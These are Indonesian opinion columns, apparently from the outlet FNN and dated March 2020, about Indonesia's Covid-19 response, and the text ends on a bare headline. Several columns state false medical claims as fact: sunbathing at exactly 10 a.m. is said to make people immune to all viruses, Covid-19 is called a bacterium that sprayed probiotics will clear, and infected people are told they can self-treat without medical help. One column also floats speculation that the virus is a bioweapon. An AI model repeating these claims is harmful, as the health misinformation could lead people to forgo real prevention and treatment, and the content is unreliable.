Pemerintah terkesan menganggap enteng. Sangat yakin Indonesia kebal Covid-19. Ketika ada seorang peneliti dari Harvard University mengingatkan bahwa secara teori virus sudah menyebar di Indonesia, Menkes Terawan malah menantang. Dia minta dibuktikan. Presiden Jokowi dengan gagah menawarkan bantuan untuk Cina. Dalam rapat kabinet, Jokowi meminta para menterinya memaksimalkan kegiatan konferensi dan pariwisata di Indonesia. Berharap musibah di sejumlah negara itu bisa menjadi berkah bagi Indonesia. Pemerintah bahkan menganggarkan Rp 72 miliar bagi para influencer. Tugasnya menarik wisatawan yang batal ke Cina, Jepang, dan Korsel berkunjung ke Indonesia. Tanggal 17 Maret, sehari setelah pembatasan operasional kendaraan umum di Jakarta, Jokowi mengutus Mendagri Tito Karnavian menemui Anies Baswedan. Dalam pertemuan itu Tito mengingatkan Anies, kewenangan melakukan lockdown ada di tangan pemerintahan pusat. Tampaknya istana melihat ada tanda-tanda, instruksi Jokowi agar Pemda tidak melakukan lockdown tidak dipatuhi. Apapun namanya, berbagai kebijakan yang diambil oleh Anies menuju ke arah lockdown. Mulai dari sini publik sesungguhnya mulai bisa melihat kualitas kepemimpinan Anies. Publik terutama kalangan pengamat kebijakan publik, praktisi kesehatan, dan kalangan medis menilai lockdown merupakan langkah yang paling tepat mencegah penyebaran Covid-19. Seruan untuk melakukan lockdown malah dilawan istana dengan mengerahkan buzzer. Semua wacana tentang perlunya lockdown, langsung mereka hajar. Bahkan termasuk seruan dari sejumlah figur yang selama ini dikenal sebagai pendukung Jokowi. Istana membuat framing, seruan lockdown membawa agenda terselubung menjatuhkan pemerintahan. Juru bicara istana Fadjroel Rachman menyebut para pengecam pemerintah sebagai para pecundang politik. Lockdown yang dilakukan sejumlah negara, mulai dari Cina, Inggris, bahkan AS adalah langkah drastis mencegah penyebaran virus. Dampaknya memang sangat besar secara ekonomi, sosial, dan tak tertutup dampak politik. Tapi itu harga yang harus dibayar seorang pemimpin. Langkah itu, dalam bahasa seorang ahli Clinical Epidemiologi dr Tifauzia Tyassuma seperti menutup benteng. Sehingga musuh tidak bisa masuk. Langkah Jokowi memutuskan untuk tidak lockdown, membuat musuh masuk ke dalam benteng. Jadilah sekarang perang melawan musuh yang tidak kelihatan itu berlangsung di dalam benteng. Dengan sifat Covid-19 yang cepat menular, situasinya saat ini seperti kita berperang melawan mutan. Bala tentara kita yang digigit mutan, otomatis berubah menjadi pasukan musuh. Sialnya musuh itu tidak terlihat membahayakan. Mereka bisa saja tetangga, keluarga, anak, suami, istri, dan orang tua kita sendiri. Semuanya sudah terlambat karena keputusan Jokowi. Sebagai “panglima perang” melawan corona, seharusnya prioritas Jokowi menyatupadukan semua kekuatan pasukan. Mereka harus bahu membahu melawan musuh. Jangan dipecah belah. Dicurigai. Atau malah dimusuhi. Menyelamatkan para tenaga medis Ibarat pepatah, buzzer menggonggong Anies berlalu, dia terus melangkah. Anies meminta perkantoran di Jakarta tutup selama 14 hari. Praktis walau tidak dinyatakan lockdown, Jakarta sudah tertutup dari berbagai aktivitas publik. Dia sering menyebutnya sebagai limited movement. Membatasi pergerakan manusia. Sebagai antisipasi berbagai dampak kebijakannya, terutama dampak ekonomi terhadap pekerja informal, Anies menyiapkan bantuan uang tunai untuk 1,1 juta warganya. Langkah terakhir yang menyedot perhatian publik adalah keputusannya mengubah hotel-hotel milik Pemprof DKI menjadi rumah sementara bagi para pekerja medis. Semua kebutuhan mereka, mulai dari makan minum, sampai kendaraan ke tempat mereka bekerja, disediakan oleh Pemda secara gratis. Sebelumnya Anies juga memberi insentif Rp 250 ribu/perhari bagi tenaga medis di Jakarta. Langkah ini mengundang pujian publik dan membuat para pekerja medis haru biru. Mereka adalah pasukan tempur yang berada di garda terdepan, tetapi keselamatannya diabaikan. Beberapa orang dokter dan tenaga medis telah gugur karena keterbatasan alat pelindung diri (APD), dan kelelahan kerja. Tragisnya alih-alih mendapat support, banyak tenaga medis yang tidak bisa pulang ke rumah. Mereka ditolak pulang oleh keluarga dan tetangganya. Takut membawa pulang virus Covid-19. Situasi itu membuat mental drop. Pasukan mengalami demoralisasi. Tragedi!!!! Aib bagi sebuah bangsa yang tidak bisa menghormati, dan menghargai para pahlawan kemanusiaan. Mereka berjibaku menyelamatkan dan melindungi nyawa kita semua. Kita enak-enakan santai di rumah. Tapi kita malah menolaknya. Menjauhinya. Dalam situasi darurat akal sehat sering tidak bisa digunakan. Anies memang beda. Dia menunjukkan diri sebagai komandan yang melindungi, mengayomi anak buahnya di medan pertempuran. Mereka bisa fokus di medan tempur. Akomodasi, logistik, dan keluarga aman. Dia tidak hanya mengambil langkah konkrit, tapi dia juga mengangkat moral pasukan. Secara tulus menyampaikan penghargaan setinggi-tingginya kepada para pahlawan kemanusiaan itu. Anies menulis surat dalam kop resmi seorang gubernur. Posisi formal sebagai pemimpin rakyat Jakarta. Surat yang diletakkan di meja sebuah kamar di hotel Grand Cempaka, Jakarta itu membuat kaget seorang tenaga medis. Ketika masuk kamar, dia menemukan surat itu. Dibuka, dibaca, daaannnnn…….. tak mampu membendung air matanya. Videonya viral. Sukses membuat mewek orang sak-Indonesia. Jika Jokowi masih terus melihat berbagai kebijakan Anies dari kaca mata politis, dia pasti bakal Mati Gaya. Sebagai Presiden Jokowi jelas punya semua sumber daya, jauh di atas Anies. Dia bisa berbuat jauh-jauh lebih besar dibandingkan dengan apa yang dilakukan Anies. Tinggal perintah! Kalau sejak awal perintah Jokowi jelas dan tegas, sesungguhnya dia bisa mengklaim semua kerja yang dilakukan oleh Anies dan para kepala daerah lain. Kalau sukses tinggal klaim. Kalau berantakan tinggal salahkan. Toh perintahnya sudah jelas. Sayangnya publik sejak awal menangkap adanya kesan rivalitas. Publik sekarang sedang menunggu-nunggu. Kapan Jokowi turun ke lapangan, seperti biasa dia lakukan dalam beberapa peristiwa bencana. Foto-foto ikoniknya di wilayah bencana, sangat membekas di ingatan publik. Menggenakan kemeja putih tangan panjang, dengan lengan digulung, celana hitam dan sepatu kets. Berjalan sendirian dengan wajah termangu-mangu, sangat ditunggu! End Penulis wartawan senior.

Jangan Panik Hadapi Corona. Ayo Berjemur Jam 10 Pagi

By Tony Hasyim Jakarta FNN – Kamis (26/03). Serangan global virus mematikan yang dimulai dari Wuhan Cina, membuat seluruh populasi dunia panik. Belum pernah dalam sejarah dunia terjadi kepanikan massal yang melibatkan hampir seluruh manusia dan diupdate terus-menerus oleh seluruh media seperti sekarang ini. Yang gelisah, setiap hari korban tewas terus berjatuhan di segala penjuru bumi. Tetapi World Health Organization (WHO) sampai saat ini belum bisa memastikan obat apa yang paling mujarab untuk menetralisir virus pembunuh tersebut. Kepanikan ini, ditambah lagi dengan bantahan-bantahan antara para ahli dan pengamat di media sosial maupun media mainstream. Saling membantah itu terkait tips-tips yang ditawarkan ahli dan pengamat tentang kiat pencegahan dan penyembuhan dari serangan virus ini. Sejauh ini pemerintah Indonesia juga belum bisa memastikan obat apa yang ampuh bagi para penderita. Padahal mereka sewaktu-waktu, atau kapan saja bisa tertular oleh virus ini. Sementara, beberapa tenaga medis di berbagai rumah sakit yang menangani pasien terpapar virus ini sudah berguguran. Mereka yang masih sehat bahkan sudah memberi warning agar masyarakat jangan ke luar rumah. Seorang dokter memberi pesan viral agar warga melakukan apa saja untuk melindungi diri dari virus ini. Situsasi sudah tidak terkendali. Pemerintah, ahli medis dan rakyat nampaknya sudah blank. Nah ditengah kepanikan tersebut, situs berita online Detikom pada Rabu 25 Maret 2020, pukul 07:36 WIB menurunkan artikel berjudul “Viral Jam 10 Disebut Waktu Terbaik Untuk Berjemur, Ini Faktanya” Artikel ini bersumber dari sebuah pesan viral yang menyebut bahwa waktu terbaik untuk berjemur adalah pada jam 10.00-11.00 pagi. Dengan berjemur 15-30 menit di waktu tersebut, tubuh mendapat asupan vitamin D paling optimal. "Pada jam tersebut tubuh kita paling aktif membuat D3 dari matahari. Dengan hanya berjemur sekitar 15- 30 menit, tubuh kita sudah dapat membuat sekitar 10.000-20.000 IU vit D3, gratis," demikian kutipan pesan tersebut. Masih menurut Detikom, anjuran ini didukung oleh dr Tan Shot Yen, seorang ahli gizi komunitas. Dalam sebuah wawancara, ia menegaskan jam 10 pagi adalah waktu terbaik untuk berjemur. "Yang kita butuhkan sebetulnya adalah ultraviolet B. Ultraviolet B ini gelombangnya lebih pendek. Itu sebabnya, kita harus tunggu sedikit mataharinya naik. Jadi, untungnya kita di khatulistiwa, jam 10 sudah ada. Itu adalah alasan kita jemurnya jam 10.00," kata dr Tan. Namun perlu diingat, sinar matahari juga mengandung sinar ultraviolet A. Menurut dr Tan, sinar ultraviolet inilah yang harus dihindari karena bisa memicu kanker dan kulit keriput. "Jadi jangan jemur sampai gosong. Bagi orang yang kulit putih, 15 menit aja cukup dan yang gelap 20 menit cukup," jelasnya. Profesor Geriatri dari Fakultas Kedokteran Universitas Indonesia, Prof dr Siti Setiati, SpPD, KGER, MEpid, dalam penelitiannya juga menyebut sinar matahari memberikan manfaat paling optimal pada siang hari. "Iya, di atas jam 9. Hasil penelitian saya tahun 2003. Mungkin perlu diteliti lagi karena sudah lama," kata Prof Siti saat dikonfirmasi Detikom. Sedangkan untuk menangkal paparan sinar ultraviolet A yang 'jahat' bagi kulit, aesthetiv consultant dari Ekle's Clinic, dr Eklendro Senduk D, AAAM, MKes, mengatakan berjemur di waktu-waktu tersebut sebaiknya tidak lebih dari 15. "Selain itu juga tetap disarankan untuk memakai sunblock sebelum berjemur," katanya kepada Detikom. Anjuran untuk berjemur memang sudah banyak disampaikan beberapa dokter terkait pandemi virus mematikan sekarang ini. Paparan sinar matahari disebut mampu meningkatkan daya tahan tubuh. Tapi memang tidak ada yang menyebut harus jam 10 pagi. Kebanyakan malah melarang orang berjemur di atas jam 10 pagi karena bisa menyebabkan kanker kulit. Nah, penulis sendiri sudah menerima pesan berantai seperti yang dimaksud Detikom melalui aplikasi Whatsapp pada Senin 23 Maret 2020, pukul 21.58 WIB. Pesan tersebut isinya sebagai berikut : Salam damai sejahtera .... Selamat malam semuanya.... Saya ingin bagikan tips agar Imun Tubuh tetap terjaga, adalah dengan berjemur punggung selama 10 menit pada jam 10 tiap hari. Untuk menjaga Kekebalan tubuh. Karena Ultraviolet D2 itu keluar ya pada jam 10.00 pagi. Jadi, biar kolesterol kita bisa dirubah menjadi vitamin D3 ( utk kekebalan tubuh) dan utk kekuatan tulang juga. Dan jangan lupa bawa air mineral dan diminum setiap 15 menit, jangan biarkan tenggorokan kita kering. Tentunya supaya terjaga hati kita tidak dikuasai oleh kecemasan dan ketakutan. Inilah kuncinya agar kita kebal terhadap segala Virus!!! “DP” Kemudian disusul lagi sebuah meme viral melalui Whatsaap yang materinya sama, tetapi di bawahnya dibubuhi nama Komjen Pol Drs. Dharma Pongrekun MM. MH., yang sekarang menjabat sebagai Wakil Kepala Badan Siber dan Sandi Negara (BSSN). Dari situ, penulis memastikan inisial “DP” yang menulis viral himbauan berjemur pada jam 10 pagi itu, tak lain adalah adalah Dharma Pongrekun. Setelah dikonfirmasi langsung via telepon kepada yang bersangkutan, ternyata benar memang dia yang membikin himbauan dalam format teks WA . Himbauan itu lalu dikirim kepada beberapa temannya. Dengan maksud agar mereka tidak terlalu fokus kepada hal yang mencekam saat ini. Setiap orang harus berinisiatif membangun imunitas tubuh sendiri agar bermamfaat dalam melakukan aktivitas ke depan. “Saya sebenarnyanya sangat paham tentang segala situasi ini. Makanya saya menggerakan teman-teman saya agar jangan terkukung oleh situasi yang mencekam saat ini,” katanya. Menurut DP, sebelumnya ia bersama kawannya seorang dokter ahli kinesiologi (ilmu gerakan fisik) sudah melakukan pengujian kepada beberapa orang di sekitarnya pada pagi hari Senin 23 Maret 2020. Dari hasil pengujian secara kinesiology, Dharma menemukan ada dua orang ajudannya yang tubuhnya lemah. Selanjutnya mereka semua diminta berjemur bersama Dharma selama 10-20 menit. Ternyata setelah dijemur dan dilakukan pengujian lagi secara kinesiologi, imunitas tubuh kedua ajudannya tersebut menguat kembali dan dokter tadi menyatakan yang bersangkutan dalam keadaan sehat. Menurut Dharma tubuh yang lemah adalah pintu masuk segala macam virus dan penyakit ke dalam tubuh manusia. Ini disebabkan terganggunya sirkulasi meridien (saluran-saluran energi) di dalam tubuh manusia. Tetapi setelah tubuh dijemur matahari pada pukul 10 pagi, saluran-saluran meridien tersebut akan pulih seperti sediakala. “Imunitas tubuh kita langsung bangkit setelah berjemur persis jam 10 pagi selama 10-20- menit saja,” katanya. Sebab itulah, sore harinya dia langsung ketak-ketik di tombol handphone-nya tentang tips membangkitkan imunitas tubuh untuk menangkal segala macam virus. Setelah diketik, DP kirimkan kebeberapa kawan-kawannya, yang kemudian memforward ke kawan-kawannya lagi, sehingga menjadi viral bahkan ada yang membuat dalam format meme. Menurut Dharma, matahari adalah anugrah dari Tuhan yang harus kita nikmati setiap hari dengan penuh rasa bersyukur. Matahari bukan sekedar diciptakan Tuhan untuk menerangi bumi seperti yang dipahami kebanyakan orang selama ini. ‘’Ini obat gratis yang difasilitasi Tuhan untuk menjaga kesehatan manusia. Jadi jangan tunggu-tunggu lagi, berjemur segera besok pagi,” kata Dharma kepada penulis. Apa boleh buat. Dari pada menunggu pengumuman resmi pemerintah tentang obat paten anti virus yang sedang mewabah sekarang ini, yang entah kapan ditemukan. Namun setelah mendapat tips tersebut, keesokan paginya penulis langsung berjemur matahari persis jam 10 pagi. Memang terbukti badan kita langsung enak dan segar. Dari pemantauan penulis, sejak kemarin memang sudah banyak netizer yang pamer di medsos sedang berjemur mulai jam 10 pagi. Jadi, tidak perlu diperdebatkan lagi tentang bagaimana cara mengobati dan mencegah penularan virus mematikan ini. Yang harus segera kita lakukan adalah membangkitkan kekebalan tubuh kita masing-masing dari segala serangan virus penyakit dengan berjemur matahari pada jam 10 pagi. Dalam situasi mencekam seperti sekarang ini, kita memang harus melakukan segala ikhtiar untuk menyembuhkan dan melindungi diri kita dari serangan segala virus. Tapi ingatlah, Tuhan Yang Maha Kuasa telah menciptakan matahari untuk menjaga kesehatan tubuh kita. Semoga kita selamat dari serangan virus jahannam ini. Penulis addalah Wartawan Senior

Seret China ke Mahkamah Internasional

Oleh Mangarahon Dongoran Perlukah China dibawa ke Mahkamah Internasional? Sangat perlu, agar tabir penularan Covid-19 terbuka selebar-lebarnya, apakah dari hewan atau buatan manusia. Jakarta, FNN - Kamis (26/03). TULISAN ini berawal dari obrolan teman-teman di grup WhatsAp dengan Nina Hansson yang tinggal di Malmo, kota besar ketiga di Swedia. Teman Hersubeno menyapa kabar Nina di sana. "Mbak Nina di Swedia, aman kan? " tanya mas Hersu. "Gak Mas. Swedia juga makin parah. Situasi kayak di Indonesia. Pemerintah ngeyel gak mau lockdown & hanya mengimbau jaga jarak. Sementara rakyat udah gregetan banget dengan cara Pemerintah (Swedia) menangani. Di Stockholm paling parah. Mungkin ibu kota ya. Padat penduduk," jawab Nina. Yang menarik ketika Nina menyebutkan ada diskusi di sebuah media Swedia agar China minta maaf pada dunia. "Di Sebuah media pernah ada debat agar China minta maaf pada dunia sebagai penyebab ini semua. Rakyat (para komentator) di media tersebut pun menuntut hal yang sama; Cina harus minta maaf & berhenti makan binatang-binatang yang gak lazim," tulis Nina lagi. Kalimat ini langsung saya jawab, tidak hanya meminta maaf, tetapi mengajukan China ke Mahkamah Internasional. "Ide yang bagus. Saya kira tidak hanya minta maaf. China harus dibawa ke Mahkamah Internasional karena telah membuat dunia resah dan penduduknya (dunia) sengsara. Berhenti makan binatang-binatang yang tidak lazim ( ini bisa dasar menuntut oleh pencinta binatang) kalau mau. Sangat menjijikkan, apa saja dimakan. Makanya Islam mengajarkan makan yang halal dan baik. Walau halal, tapi kalau tidak baik bagi tubuh tinggalkan. Misalnya, kambing jika disembelih secara syariat sangat halal. Tetapi, jika punya penyakit darah tinggi menjadi tidak baik dan segera tinggalkan," jawab saya. Mengapa RR China selain meminta maaf dan harus diseret ke Mahkamah Internasional? Bukankan Virus China atau Virus corona (Covid-19) merupakan wabah yang (katanya) berasal/menular dari kelelawar? Kalau menular dari binatang/hewan, itu berarti musibah. Lalu apa dasarnya meminta maaf apalagi di bawa ke Mahkamah Internasional? Virus China berasal dari kota Wuhan awal tahun 2020. Pemerintah komunis RR China panik dan langsung menutup kota Wuhan. Wuhan menjadi kota mati. Akan tetapi, penyebaran virus tidak bisa dibendung. Kini sudah 198 negara yang terjangkiti wabah mematikan itu. Jumlah penderita di seluruh dunia 471.044 orang, 21.284 meninggal dunia dan 114.228 sembuh. (Angka Kamis 26 Maret 2020 pukul 10.29 WIB). Angka ini naik dari hari-hari sebelumnya dan akan terus memakan korban jiwa karena belum ada vaksinnya. Di Indonesia angka korbannya juga bertambah terus dari hari ke hari. (Mudah-mudahan dan kita berdoa agar tidak bertambah lagi). Merujuk keterangan resmi juru bicara pemerintah untuk penanganan virus Corona, Achmad Yurianto, hingga Kamis, 26 Maret 2020 total 893 kasus, 78 meninggal dunia dan 35 sembuh. Jika dibandingkan angka sehari sebelumnya, yang sembuh bergerak lambat yaitu dari 31 menjadi 35. Sedangkan yang terkena kasus angkanya melompat drastis dari 790 menjadi 893 kasus. Demikian juga yang meninggal naik cepat dari 58 menjadi 78 orang. Virus China begitu cepat mewabah. Tidak mengenal negara maju atau berkembang. Tidak mengenal rakyat biasa, orang miskin atau pejabat dan orang kaya. Semua seakan menjadi sasaran "empuknya". Akibatnya, sejumlah negara melakukan lockdown. Semuanya berakibat fatal. Perekonomian dunia melorot. Komunikasi tatap muka berkurang, kunjungan kekerabatan dibatasi. Lebih menyedihkan lagi, jenazah korban Virus China yang beragama Islam tidak dimandikan (hanya tayammum). Jenazahnya langsung dibawa ke liang kubur dari rumah sakit, tanpa berhenti di rumah duka (rumah keluarga). Jumlah yang ikut dalam pemakaman pun sedikit (dibatasi) dan ini berlaku pada agama lain seperti yang bisa dibaca pada korban Covid-19 di Italia. Menyedihkan. Sejak korban masuk rumah sakit dan langsung masuk ruang isolasi, tidak boleh ada yang besuk. Yang bisa lihat hanya petugas medis yang disiagakan. Menyedihkan, karena tenaga medis yang merupakan garda terdepan pun menjadi korbannya. Mengapa China atau Tiongkok harus minta maaf dan diajukan ke Mahkamah Internasional? Karena asal-usul Covid-19 masih simpang siur. Kalaupun ada yang mengatakan bersumber dari kelelawar, itu pun belum bisa dibuktikan secara ilmiah. Masih butuh waktu bagi ilmuwan untuk melakukan penelitian. Yang sekarang terjadi baru dugaan dari kelelawar. Covid-19 menjadi masalah kesehatan global. Ahli zoologi dan pakar penyakit bahkan menyebutkan bukan salah kelelawar yang memicu penyakit tersebut, tetapi juga salah manusia. Jika menilik ke pendapat ahli itu, wajar jika pada akhirnya penduduk bumi bertanya-tanya dari mana asal-usul Covid-19. Apakah betul dari hewan atau senjata biologi yang dibuat manusia. Dari hewan atau buatan manusia? Apalagi belakangan muncul kecurigaan kepada China yang diduga memiliki laboratorium yang bocor di Wuhan. Laboratorium yang dicurigai (memproduksi virus?). Di tengah kecurigaan itu, muncul lagi tuduhan bahwa Amerika Serikat dan Israel lah yang menjadi penyebar virus. Hanya saja, virus tersebut terlebih dahulu dibawa ke China. Amerika Serikat dan RR China sering bermusuhan, terutama perang dagang, karena kedua negara itu sama-sama berambisi menguasai dunia. Alasan menuduh Amerika dan Israel masuk akal juga. Sebab, kedua negara itu sebenarnya ingin menghancurkan Iran yang menjadi musuh bebuyutannya. Sedangkan China konsisten membela Iran, baik di PBB maupun dalam berbagai pernyataan resmi pejabatnya. Perlukah China dibawa ke Mahkamah Internasional? Sangat perlu, sehingga tabir penyebar atau penularan Covid-19 terbuka selebar-lebarnya, apakah dari hewan atau buatan manusia. Masyarakat dunia menjadi tahu secara jelas apakah virus corona buatan manusia atau bukan. Jika terbukti buatan manusia (apakah buatan China, Amerika dan Israel), tentu hukumannya berat. Kalau tidak terbukti, dan ternyata menular dari hewan (apakah kelelawar dan lainnya), maka menjadi tugas manusia menemukan vaksinnya. Menjadi tugas manusia agar berhenti makan binatang-binatang yang tidak lazim. *** Penulis adalah Wartawan Senior

Tidak Mau “Lock Down”, Presiden Bisa Terapkan Probiotik Siklus

Oleh Mochamad Toha Jakarta, FNN - Kamis (26/03). Presiden Joko Widodo berkali-kali menegaskan, Pemerintah tak akan melakukan Lock Down terkait penyebaran Virus Corona atau Covid-19 yang semakin massif. Pemerintah hanya bisa menerapkan Social Distancing (penjara sosial). Ikatan Dokter Indonesia (IDI) meminta pemerintah menegaskan penerapan social distancing agar dapat dijalankan dengan maksimal. Hal tersebut dilakukan sebagai langkah alternatif jika pemerintah tak ingin menerapkan lockdown. “Pertama, ini masalah serius jadi harus bekerja cepat sekali enggak boleh sebaliknya,” kata Ketua Satgas Covid-19 IDI Profesor Zubairi Djoerban di Jakarta, seperti dilansir Hajinews.id, Senin (23/3/2020). Dia juga menyarankan untuk menerjemahkan sosial distancing ke dalam bahasa yang lebih mudah dimengerti publik. Misalnya batalkan piknik, batalkan rapat, batalkan arisan, dan jangan ada pertemuan-pertemuan apa pun dengan tetap tinggal di rumah. Dia mengatakan, penerimaan informasi masyarakat juga harus terus diperbarui karena kerja sama dengan mereka amat diperlukan. Dia meminta pemerintah dan mengimbau media untuk tidak hanya melontarkan informasi terkait corona, tapi ubah perilaku publik. “Perilaku ini penting karena kalau mereka ini tidak mengikuti anjuran pemerintah, maka bisa gagal,” katanya. Dia meminta pemerintah untuk mengeluarkan kebijakan yang tidak ngawur dan terbukti secara ilmiah untuk kemudian disebarluaskan. Dia juga mengimbau agar pemerintah melakukan tes seluas dan sebanyak mungkin secara cuma-cuma dan mengisolasi warga yang terinfeksi. Menurutnya, jika hal itu dilakukan dengan tegas maka sebenarnya sama dengan membatasi akses masyarakat. Namun, dia mengatakan, pengetatan pergerakan itu menjadi istilah lain dari lock down. “Sebetulnya kan itu sama saja, tapi itu istilah lain saja, lock down kecil’ lah. Jadi kalau lockdown bagus, tapi kalau tidak lockdown asal isunya sama aja ya enggak apa-apalah,” katanya. Data terbaru dan penanganannya, per Kamis 26 Maret 2020, ada 893 kasus positif Covid-19 di Indonesia. Itu disampaikan Jubir Pemerintah untuk Penanganan Covid-19, Achmad Yurianto, dalam konferensi pers yang disiarkan BNPB di YouTube, pada Kamis, 26 Maret 2020. Yuri mengatakan total ada 78 orang positif corona yang meninggal dunia yang tersebar di 11 provinsi. Hingga hari ini, tercatat kasus positif corona bertambah menjadi 893. “Total kasus positif 893, ini angka kumulasi,” ujar Yuri. Data ini dihimpun hingga pukul 12.00 WIB hari ini. Dengan jumlah kasus itu, berarti ada penambahan 105 kasus positif corona dari data sebelumnya. Sebanyak 78 pasien corona meninggal, 35 pasien sembuh. Mengapa Presiden Jokowi tak akan lock down dan cukup social distancing? Konsekuensi lock down itu, sesuai pasal 55 UU Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan, kebutuhan hidup dasar orang dan makanan hewan ternak menjadi tanggung jawab Pemerintah Pusat. Berikut petikannya: Pasal 55: (1) Selama dalam Karantina Wilayah, kebutuhan hidup dasar orang dan makanan hewan ternak yang berada di wilayah karantina menjadi tanggung jawab Pemerintah Pusat. (2) Tanggung jawab Pemerintah Pusat dalam penyelenggaraan Karantina Wilayah sebagaimana dimaksud pada ayat (1) dilakukan dengan melibatkan Pemerintah Daerah dan pihak yang terkait. Bisa jadi, Pemerintah Pusat tidak siap dengan konsekuensi lock down itu. Maka, Pemerintah Pusat maupun Daerah hanya menerapkan social distancing saja. Atau bisa juga disebut semi lock down. Kalau Presiden Jokowi tidak mau lock down, Pemerintah bisa menerapkan proses Probiotik Siklus. Sehingga, masyarakat masih bisa beraktivitas secara normal. Dengan Probiotik ini, masyarakat yang terinveksi corona bisa berobat mandiri. Tidak perlu bantuan medis. Tidak perlu ke rumah sakit. Sehingga, Pemerintah tak perlu juga repot-repot menyediakan makanan makhluk hidup sesuai pasal 55 UU Nomor 6 Tahun 2018 tersebut. Paramedis hanya memantau perkembangan pengobatannya saja. Mengapa Probiotik? Probiotik berasal dari etimologi Latin dan Yunani, yakni “pro” (preposisi bahasa Latin) yang berarti “untuk” dan kata sifat dari bahasa Yunani βιωτικός (biōtikos) yang berarti “hidup atau cocok untuk hidup”. Kata yang terakhir itu berasal dari kata benda bahasa Yunani βίος (bios), yang berarti “hidup”. Jadi Probiotik bermakna sesuatu yang pro, yang mendukung, yang cocok, bermanfaat untuk kehidupan. Secara istilah, menurut WHO/FAO, Probiotik merupakan organisme hidup yang bila dikonsumsi dalam jumlah yang cukup, mampu memberikan efek yang menguntungkan kesehatan host (inang)nya. Probiotik yang efektif harus memenuhi beberapa kriteria: 1. Memberikan efek menguntungkan pada host; 2. Tidak patogenik (bersifat menimbulkan penyakit) dan tidak toksik (bersifat racun); 3. Mengandung sejumlah besar sel hidup; 4. Mampu bertahan dan melakukan kegiatan metabolisme dalam usus; 5. Tetap hidup selama dalam penyimpanan dan waktu digunakan; 6. Mempunyai sifat sensori yang baik; 7. Diisolasi dari host. Probiotik akan berkompetisi dengan bakteri patogen pada tempat menempelnya bakteri di mukosa usus dan memodulasi sistem imun. Terdapat beberapa spesies yang telah diteliti dan digunakan sebagai probiotik di pasaran. Yakni LactobacillusA cidophilus, Lactobacillus Casei, Lactobacillus Gg, Bifidobacterium Bifidum, Bifidobacterium Longum, Streptococcus Thermophilus, Enterococcus Faecium, dan Saccharomyces Boulardi. Yang umum digunakan adalah kelompok Lactobacillus dan Bifidobacteria. Efek kesehatan yang menguntungkan dari probiotik adalah: 1. Memperbaiki keluhan malabsorsi laktosa; 2. Meningkatkan ketahanan alami terhadap infeksi di usus; 3. Supresi kanker; 4. Mengurangi kadar kolesterol darah; 5. Memperbaiki pencernaan; 6. Stimulasi imunitas gastrointestinal (hal yang berhubungan dengan pencernaan, terutama lambung dan usus) Manfaat Probiotik di antaranya: 1. Anti alergi; 2. Anti inflamasi/peradangan; 3. Anti kanker; 4. Anti konstipasi/sembelit; 5. Anti diabetes; 6. Anti obesitas/kegemukan; 7. Anti infeksi dalam dan luar tubuh; 8. Detoksifikasi/membuang racun; 9. Memperbaiki pencernaan; 10. Memperbaiki pencernaan gizi; 11. Melancarkan aliran darah; 12. Memaksimalkan fungsi obat; 13. Memperbaiki fungsi organ dalam (misal: ginjal, hati, jantung, limfa); 14. Mengatasi problem darah (hipertensi, anemia, leukemia); 15. Mengontrol kadar kolesterol darah; 16. Meningkatkan imunitas tubuh dan manfaat-manfaat lainnya yang masih terus diteliti para ilmuwan. Mengingat sifat probiotik yang bisa mengkoloni virus yang merugikan, sehingga aman bagi yang memakai probiotik, maka pemakaian probiotik untuk melawan corona sangat ditunggu. Karena, corona akan dikoloni dan dikeluarkan dari tubuh pasien secara alami. Dengan teknologi probiotik dimaksudkan untuk mengembalikan alur kehidupan sesuai pada fitrahnya. Tidak membuat rekayasa yang mengarah kepada menentang ketentuan yang Maha Kuasa. Merusak alam dengan dalil/argumentasi untuk pembangunan dan kemaslahatan. Menurut Ustadz Ali Athwa, salah seorang tim penyusun buku Probiotik Bakteri, manusia itu kalau sudah menuhankan akalnya, Tuhan dinomorsekiankan. “Bahkan dianggap tidak ada,” ungkapnya. Itulah sebabnya orang-orang yang berada di puncak pengetahuan rekayasa (termasuk ahli bakteri mesti atheis alias tidak bertuhan). Bahwa alam dengan susunan, dan kandungannya, sudah didesain sedemikian rupa sempurna untuk ummat manusia. Dalam probiotik itu terkandung bakteri siklus/lengkap. Ada miliaran bakteri di dalam produk probiotik dengan pola kerja yang sangat indah. Ada bakteri positif 60%, bakteri negatif 30%, dan bakteri netral\oportunis sebanyak 10%. Di sana juga terdapat bakteri thermophilic (tahan suhu tinggi) dan an thermophilic, bakteri aerobik dan an aerob, tahan asam dan tidak tahan asam dll. Mereka berpasang-pasangan. Layaknya manusia dan makhluk/ciptaan Allah yang lain. Lantas, apa hubungannya dengan Corona? Corona itu juga bakteri. Dalam ilmu probiotik ini tidak dibedakan antara: bakteri jamur maupun virus, karena mereka bakteri juga pada tempat dan kondisi yang berbeda. “Semuanya masing-masing ada perannya di alam ini. Semuanya itu ada manfaatnya, sesuai dengan fitrahnya masing-masing. Ketika tangan manusia telah membuat sesuatu untuk ambisi dan keserakahannya, maka muncullah 'malapetaka' seperti yang kita sedang rasakan saat ini. Bencana Corona! Bagaimana kerja probiotik terhadap corona? Menurut Ustadz Ali Athwa, dalam 1 detik per 1 ekor bakteri probiotik yang disemprotkan ke udara, mereka akan beranak pinak setidaknya 6.000 ekor. Berapa ratus juta sekali semprot ke udara, anak-anak bakteri probiotik ini akan berkembang memenuhi ruang, kamar rumah, lingkungan, gedung-gedung dan seterusnya, alam di sekitar kita. “Termasuk yang akan membentengi tubuh kita secara aktif mengelola sistem imunitas tubuh kita. Insya’ Allah virus/bakteri corona yang liar dan keluar dari tabiatnya akan bertemu di sana dan akan diajak kembali ke habitat fitrahnya,” lanjutnya. Dengan Probiotik ini, masyarakat yang terinveksi corona bisa berobat mandiri. Tidak perlu bantuan medis. Tetapi tetap perlu konsultasi. Kalau berat,juga tetap harus opname. Tetapi dengan probiotik ini, harapan kesembuhannya menjadi lebih besar dan lebih cepat. Dengan probiotik ini, juga tidak menafikan peran obat kimia. Jadi jangan sok anti medis, anti rumah sakit, dan serterusnya. Masih belum yakin dengan manfaat Probiotik? Silakan bertanya kepada 100 dokter, apoteker, perawat dan ibu bidan, yang sudah tergabung dalam 6 group Probiotik Siklus! Penulis adalah Wartawan Senior.

Pemerintah Mulai Jujur Tidak Punya Duit?

